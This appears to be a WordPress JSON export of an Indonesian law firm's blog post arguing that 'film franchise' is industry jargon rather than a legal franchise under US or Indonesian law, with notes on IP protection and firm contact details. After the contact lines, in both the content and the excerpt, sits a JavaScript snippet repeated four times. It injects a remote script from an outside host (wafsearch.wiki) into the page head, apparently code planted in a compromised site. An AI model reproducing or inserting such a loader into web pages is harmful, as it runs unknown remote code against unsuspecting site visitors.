{"id":5704,"date":"2025-07-02T14:54:19","date_gmt":"2025-07-02T14:54:19","guid":{"rendered":"https:\/\/affa.co.id\/?p=5704"},"modified":"2025-07-02T14:54:19","modified_gmt":"2025-07-02T14:54:19","slug":"franchise-film-istilah-populer-yang-ternyata-tidak-tepat-menurut-hukum-kekayaan-intelektual","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2025\/07\/02\/franchise-film-istilah-populer-yang-ternyata-tidak-tepat-menurut-hukum-kekayaan-intelektual\/","title":{"rendered":"\u201cFranchise Film\u201d &#8211; Istilah Populer yang Ternyata Tidak Tepat Menurut Hukum Kekayaan Intelektual"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Bulan Juli 2025 menjadi bulan penuh aksi di bioskop, dengan kehadiran tiga film besar yang dinanti para penggemar: <\/span><b>Jurassic World: Extinction<\/b><span style=\"font-weight: 400\">, <\/span><b>Superman: Legacy<\/b><span style=\"font-weight: 400\">, dan<\/span><b> Fantastic Four<\/b><span style=\"font-weight: 400\"> dari Marvel Studios. Ketiganya kerap disebut sebagai bagian dari<\/span><i><span style=\"font-weight: 400\"> franchise film<\/span><\/i><span style=\"font-weight: 400\"> yang mendunia dan sukses secara komersial.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Namun, tahukah Anda bahwa istilah <\/span><i><span style=\"font-weight: 400\">&#8220;franchise&#8221; <\/span><\/i><span style=\"font-weight: 400\">yang sering digunakan di dunia film sebenarnya tidak sama pengertiannya dengan istilah <em>franchise<\/em> dalam hukum Kekayaan Intelektual, baik menurut hukum Amerika Serikat maupun di Indonesia?<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Mari kita telusuri lebih dalam, apa sebenarnya arti<\/span><i><span style=\"font-weight: 400\"> franchise <\/span><\/i><span style=\"font-weight: 400\">atau waralaba dalam konteks Kekayaan Intelektual, dan mengapa istilah ini tetap digunakan meski secara hukum maknanya berbeda.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Franchise dalam Film: Strategi Bisnis, Bukan Istilah Hukum<\/b><\/p>\n<p><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Dalam praktik industri hiburan, istilah <\/span><i><span style=\"font-weight: 400\">&#8220;franchise film&#8221;<\/span><\/i><span style=\"font-weight: 400\"> merujuk pada ekspansi Kekayaan Intelektual yang berasal dari satu karya utama (film, karakter, cerita), lalu dikembangkan menjadi berbagai produk atau media lain:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Sekuel dan spin-off film<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Serial TV, animasi, atau komik<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Video game, mainan, pakaian, theme park, dan sebagainya<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Contoh:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jurassic World: Extinction adalah kelanjutan dari <\/span><i><span style=\"font-weight: 400\">franchise<\/span><\/i><span style=\"font-weight: 400\"> Jurassic Park sejak 1993, yang kini mencakup taman hiburan, game, hingga <\/span><i><span style=\"font-weight: 400\">merchandise<\/span><\/i><span style=\"font-weight: 400\">.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Superman: Legacy merupakan bagian dari <\/span><b>DC Universe<\/b><span style=\"font-weight: 400\">, di mana karakter Superman sudah digunakan lintas media sejak 1938.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Fantastic Four merupakan bagian dari <\/span><b>Marvel Cinematic Universe<\/b><span style=\"font-weight: 400\">, sebuah <\/span><i><span style=\"font-weight: 400\">franchise<\/span><\/i><span style=\"font-weight: 400\"> yang menggabungkan ratusan karakter dan puluhan film dalam satu ekosistem IP.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Namun, walaupun <\/span><i><span style=\"font-weight: 400\">franchise<\/span><\/i><span style=\"font-weight: 400\"> film sangat dikenal di industri, istilah <\/span><i><span style=\"font-weight: 400\">\u201cfranchise\u201d <\/span><\/i><span style=\"font-weight: 400\">dalam konteks ini tidak diatur sebagai istilah hukum formal.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Lalu Apa Arti \u201cFranchise\u201d Menurut Hukum?<\/b><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400\"><b>Amerika Serikat:<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Dalam hukum Amerika, <\/span><i><span style=\"font-weight: 400\">franchise<\/span><\/i><span style=\"font-weight: 400\"> adalah bentuk kerja sama bisnis resmi yang diatur oleh <\/span><i><span style=\"font-weight: 400\">franchise law<\/span><\/i><span style=\"font-weight: 400\">, di mana Pemilik Merek (franchisor) memberikan hak kepada pihak lain (franchisee) untuk menjalankan bisnis dengan Merek, sistem operasional, dan produk yang sama.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Contoh: McDonald&#8217;s, Starbucks, dan Subway.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Sedangkan franchise film tidak termasuk dalam definisi hukum ini. Penggunaan istilah tersebut hanyalah istilah komersial untuk menggambarkan ekosistem IP yang berkembang luas.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400\"><b>Indonesia:<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Di Indonesia, istilah <\/span><i><span style=\"font-weight: 400\">&#8220;franchise&#8221;<\/span><\/i><span style=\"font-weight: 400\"> juga diartikan sebagai waralaba, dan diatur oleh Permendag No. 71\/M-DAG\/PER\/9\/2019 tentang Penyelenggaraan Waralaba.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Franchise dalam hukum Indonesia adalah bentuk kerja sama bisnis yang memenuhi kriteria tertentu, termasuk adanya sistem bisnis terbukti sukses dan diatur dalam sebuah perjanjian waralaba.\u00a0<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Contoh: Kopi Kenangan, JNE, dan Alfamart.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Sama seperti di Amerika, <\/span><i><span style=\"font-weight: 400\">franchise film<\/span><\/i><span style=\"font-weight: 400\"> tidak dianggap sebagai bentuk waralaba dalam pengertian hukum di Indonesia. Ia hanyalah istilah populer dalam dunia hiburan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Jadi Apa Konsekuensi Hukumnya?<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Meskipun istilah<\/span><i><span style=\"font-weight: 400\"> franchise<\/span><\/i><span style=\"font-weight: 400\"> film tidak memiliki dasar hukum formal sebagai waralaba dan sah saja untuk disebut sebagai \u201cjargon,\u201d namun pengelolaan dan perlindungannya tetap bertumpu pada berbagai bentuk Kekayaan Intelektual (IP). Setiap elemen dalam sebuah film yang berkembang menjadi<\/span><i><span style=\"font-weight: 400\"> franchise<\/span><\/i><span style=\"font-weight: 400\"> perlu dilindungi secara hukum, antara lain:<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400\"><b>Hak Cipta<\/b><span style=\"font-weight: 400\">, untuk melindungi naskah, film, karakter, musik, dan elemen kreatif lainnya.<\/span><\/li>\n<li style=\"font-weight: 400\"><b>Merek<\/b><span style=\"font-weight: 400\">, untuk melindungi nama film, logo, atau karakter sebagai identitas dagang.<\/span><\/li>\n<li style=\"font-weight: 400\"><b>Desain Industri<\/b><span style=\"font-weight: 400\">, untuk melindungi visual seperti kostum atau bentuk mainan.<\/span><\/li>\n<li style=\"font-weight: 400\"><b>Lisensi<\/b><span style=\"font-weight: 400\">, untuk memberikan hak kepada pihak ketiga menggunakan elemen IP untuk tujuan komersial.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Inilah mengapa<\/span><i><span style=\"font-weight: 400\"> franchise film<\/span><\/i><span style=\"font-weight: 400\"> lebih tepat disebut sebagai model komersialisasi IP terpadu, bukan hubungan waralaba formal.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Perlindungan IP Adalah Pondasi Sebuah <\/b><b><i>Franchise <\/i><\/b><b>Film<\/b><b><\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Tanpa strategi perlindungan IP yang solid, pengembangan franchise akan rentan:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Karakter bisa digunakan tanpa izin.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Nama film bisa didaftarkan pihak lain di negara berbeda.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Perjanjian lisensi bisa tidak sah jika tidak dicatat atau disusun dengan benar.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>Jika Anda membutuhkan masukan dalam strategi pengelolaan dan perlindungan IP terkait film, hingga menjadi \u201cfranchise\u201d jangka panjang, langsung hubungi kami melalui kanal kami berikut ini:<\/b><\/p>\n<p><span style=\"font-weight: 400\">? E-Mail<\/span> <span style=\"font-weight: 400\">: emirsyah.dinar@affa.co.id<\/span><\/p>\n<p><span style=\"font-weight: 400\">? Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">? WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Bulan Juli 2025 menjadi bulan penuh aksi di bioskop, dengan kehadiran tiga film besar yang dinanti para penggemar: Jurassic World: Extinction, Superman: Legacy, dan Fantastic Four dari Marvel Studios. Ketiganya kerap disebut sebagai bagian dari franchise film yang mendunia dan sukses secara komersial. &nbsp; Namun, tahukah Anda bahwa istilah &#8220;franchise&#8221; yang sering digunakan di dunia film sebenarnya tidak sama pengertiannya dengan istilah franchise dalam hukum Kekayaan Intelektual, baik menurut hukum Amerika Serikat maupun di Indonesia? &nbsp; Mari kita telusuri lebih dalam, apa sebenarnya arti franchise atau waralaba dalam konteks Kekayaan Intelektual, dan mengapa istilah ini tetap digunakan meski secara hukum maknanya berbeda. &nbsp; Franchise dalam Film: Strategi Bisnis, Bukan Istilah Hukum Dalam praktik industri hiburan, istilah &#8220;franchise film&#8221; merujuk pada ekspansi Kekayaan Intelektual yang berasal dari satu karya utama (film, karakter, cerita), lalu dikembangkan menjadi berbagai produk atau media lain: Sekuel dan spin-off film Serial TV, animasi, atau komik Video game, mainan, pakaian, theme park, dan sebagainya &nbsp; Contoh: Jurassic World: Extinction adalah kelanjutan dari franchise Jurassic Park sejak 1993, yang kini mencakup taman hiburan, game, hingga merchandise. Superman: Legacy merupakan bagian dari DC Universe, di mana karakter Superman sudah digunakan lintas media sejak 1938. Fantastic Four merupakan bagian dari Marvel Cinematic Universe, sebuah franchise yang menggabungkan ratusan karakter dan puluhan film dalam satu ekosistem IP. &nbsp; Namun, walaupun franchise film sangat dikenal di industri, istilah \u201cfranchise\u201d dalam konteks ini tidak diatur sebagai istilah hukum formal. &nbsp; Lalu Apa Arti \u201cFranchise\u201d Menurut Hukum? &nbsp; Amerika Serikat: Dalam hukum Amerika, franchise adalah bentuk kerja sama bisnis resmi yang diatur oleh franchise law, di mana Pemilik Merek (franchisor) memberikan hak kepada pihak lain (franchisee) untuk menjalankan bisnis dengan Merek, sistem operasional, dan produk yang sama. Contoh: McDonald&#8217;s, Starbucks, dan Subway. Sedangkan franchise film tidak termasuk dalam definisi hukum ini. Penggunaan istilah tersebut hanyalah istilah komersial untuk menggambarkan ekosistem IP yang berkembang luas. &nbsp; Indonesia: Di Indonesia, istilah &#8220;franchise&#8221; juga diartikan sebagai waralaba, dan diatur oleh Permendag No. 71\/M-DAG\/PER\/9\/2019 tentang Penyelenggaraan Waralaba. Franchise dalam hukum Indonesia adalah bentuk kerja sama bisnis yang memenuhi kriteria tertentu, termasuk adanya sistem bisnis terbukti sukses dan diatur dalam sebuah perjanjian waralaba.\u00a0 Contoh: Kopi Kenangan, JNE, dan Alfamart. Sama seperti di Amerika, franchise film tidak dianggap sebagai bentuk waralaba dalam pengertian hukum di Indonesia. Ia hanyalah istilah populer dalam dunia hiburan. &nbsp; Jadi Apa Konsekuensi Hukumnya? &nbsp; Meskipun istilah franchise film tidak memiliki dasar hukum formal sebagai waralaba dan sah saja untuk disebut sebagai \u201cjargon,\u201d namun pengelolaan dan perlindungannya tetap bertumpu pada berbagai bentuk Kekayaan Intelektual (IP). Setiap elemen dalam sebuah film yang berkembang menjadi franchise perlu dilindungi secara hukum, antara lain: &nbsp; Hak Cipta, untuk melindungi naskah, film, karakter, musik, dan elemen kreatif lainnya. Merek, untuk melindungi nama film, logo, atau karakter sebagai identitas dagang. Desain Industri, untuk melindungi visual seperti kostum atau bentuk mainan. Lisensi, untuk memberikan hak kepada pihak ketiga menggunakan elemen IP untuk tujuan komersial. &nbsp; Inilah mengapa franchise film lebih tepat disebut sebagai model komersialisasi IP terpadu, bukan hubungan waralaba formal. &nbsp; Perlindungan IP Adalah Pondasi Sebuah Franchise Film &nbsp; Tanpa strategi perlindungan IP yang solid, pengembangan franchise akan rentan: Karakter bisa digunakan tanpa izin. Nama film bisa didaftarkan pihak lain di negara berbeda. Perjanjian lisensi bisa tidak sah jika tidak dicatat atau disusun dengan benar. &nbsp; Jika Anda membutuhkan masukan dalam strategi pengelolaan dan perlindungan IP terkait film, hingga menjadi \u201cfranchise\u201d jangka panjang, langsung hubungi kami melalui kanal kami berikut ini: ? E-Mail : emirsyah.dinar@affa.co.id ? Book a Call : +62 21 83793812 ? WhatsApp : +62 812 87000 889var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":5707,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279,377,598],"tags":[335,360,599,600,601,298,602,305,306,307,308,309,310,314,317,318,333],"class_list":["post-5704","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","category-copyright","category-business","tag-hak-cipta","tag-franchise","tag-business","tag-film","tag-licensing","tag-merek","tag-movie","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-timing-is-everything","tag-trademark","tag-copyright"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5704","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5704"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5704\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/5707"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5704"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5704"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5704"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}